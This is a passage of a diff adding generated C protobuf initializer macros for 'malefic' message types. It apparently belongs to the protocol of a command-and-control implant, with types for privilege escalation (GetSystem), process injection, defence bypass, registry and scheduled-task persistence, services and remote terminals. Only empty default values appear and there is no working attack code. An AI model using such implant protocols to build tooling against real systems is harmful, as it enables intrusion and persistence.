malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default}} +#define malefic_ExecRequest_init_default {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, 0, 0, 0} +#define malefic_ExecResponse_init_default {0, {0, {0}}, {0, {0}}, 0, 0} +#define malefic_BinaryResponse_init_default {{0, {0}}, {0, {0}}, 0, ""} +#define malefic_Modules_init_default {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Addons_init_default {0, {malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default}} +#define malefic_Addon_init_default {"", "", ""} +#define malefic_LoadModule_init_default {"", {0, {0}}} +#define malefic_LoadAddon_init_default {"", "", "", {0, {0}}} +#define malefic_ExecuteAddon_init_default {"", false, malefic_ExecuteBinary_init_default} +#define malefic_ExecuteBinary_init_default {"", {0, {0}}, {{NULL}, NULL}, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, "", {0, {0}}, 0, 0, 0, false, malefic_SacrificeProcess_init_default, "", "", 0} +#define malefic_ExecuteBinary_ParamEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ExecuteCommand_init_default {"", false, malefic_SacrificeProcess_init_default} +#define malefic_UploadRequest_init_default {"", "", 0, {0, {0}}, 0, 0} +#define malefic_DownloadRequest_init_default {"", "", 0, 0, 0} +#define malefic_DownloadResponse_init_default {"", 0, 0, {0, {0}}} +#define malefic_CurlRequest_init_default {"", 0, "", {0, {0}}, {{NULL}, NULL}, ""} +#define malefic_CurlRequest_HeaderEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ChownRequest_init_default {"", "", "", 0} +#define malefic_IfconfigResponse_init_default {0, {malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default}} +#define malefic_RegistryRequest_init_default {"", false, malefic_Registry_init_default} +#define malefic_Registry_init_default {"", "", ""} +#define malefic_RegistryWriteRequest_init_default {"", "", "", "", {0, {0}}, 0, 0, 0} +#define malefic_TaskScheduleRequest_init_default {"", false, malefic_TaskSchedule_init_default} +#define malefic_TaskSchedule_init_default {"", "", "", 0, "", "", 0, "", ""} +#define malefic_TaskSchedulesResponse_init_default {0, {malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default}} +#define malefic_ServiceRequest_init_default {"", false, malefic_ServiceConfig_init_default} +#define malefic_ServiceConfig_init_default {"", "", "", 0, 0, ""} +#define malefic_ServiceStatus_init_default {0, 0, 0, 0, 0} +#define malefic_Service_init_default {false, malefic_ServiceConfig_init_default, false, malefic_ServiceStatus_init_default} +#define malefic_ServicesResponse_init_default {0, {malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default}} +#define malefic_WmiQueryRequest_init_default {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_WmiMethodRequest_init_default {"", "", "", {{NULL}, NULL}} +#define malefic_WmiMethodRequest_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_RunAsRequest_init_default {"", "", "", "", "", 0, 0, 0} +#define malefic_GetSystem_init_default {{0, {0}}, 0} +#define malefic_Inject_init_default {{0, {0}}, 0} +#define malefic_Pipe_init_default {"", "", {0, {0}}} +#define malefic_PipeRequest_init_default {"", false, malefic_Pipe_init_default} +#define malefic_Switch_init_default {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_TaskCtrl_init_default {0, ""} +#define malefic_TaskInfo_init_default {0, 0, 0, 0} +#define malefic_TaskListResponse_init_default {0, {malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default}} +#define malefic_FFmpegRequest_init_default {"", "", "", "", ""} +#define malefic_PtyRequest_init_default {"", "", "", 0, 0, {0, {0}}, "", {{NULL}, NULL}} +#define malefic_PtyRequest_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_PtyResponse_init_default {"", {0, {0}}, "", "", 0, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}} +#define malefic_PtyResponse_MetadataEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_CommonBody_init_default {"", 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {{0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}}} +#define malefic_Ping_init_zero {0} +#define malefic_Register_init_zero {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero}, false, malefic_Timer_init_zero, false, malefic_SysInfo_init_zero, false, malefic_Secure_init_zero} +#define malefic_Secure_init_zero {0, "", "", ""} +#define malefic_KeyExchangeRequest_init_zero {"", {0, {0}}, 0, ""} +#define malefic_KeyExchangeResponse_init_zero {""} +#define malefic_Init_init_zero {{0, {0}}} +#define malefic_SysInfo_init_zero {"", "", 0, false, malefic_Os_init_zero, false, malefic_Process_init_zero} +#define malefic_Suicide_init_zero {0, 0} +#define malefic_Request_init_zero {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}, {0, {0}}} +#define malefic_Request_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_Response_init_zero {"", "", {{NULL}, NULL}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Response_KvEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_BypassRequest_init_zero {0, 0, 0} +#define malefic_NetInterface_init_zero {0, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_SockTabEntry_init_zero {"", "", "", "", ""} +#define malefic_NetstatResponse_init_zero {0, {malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, 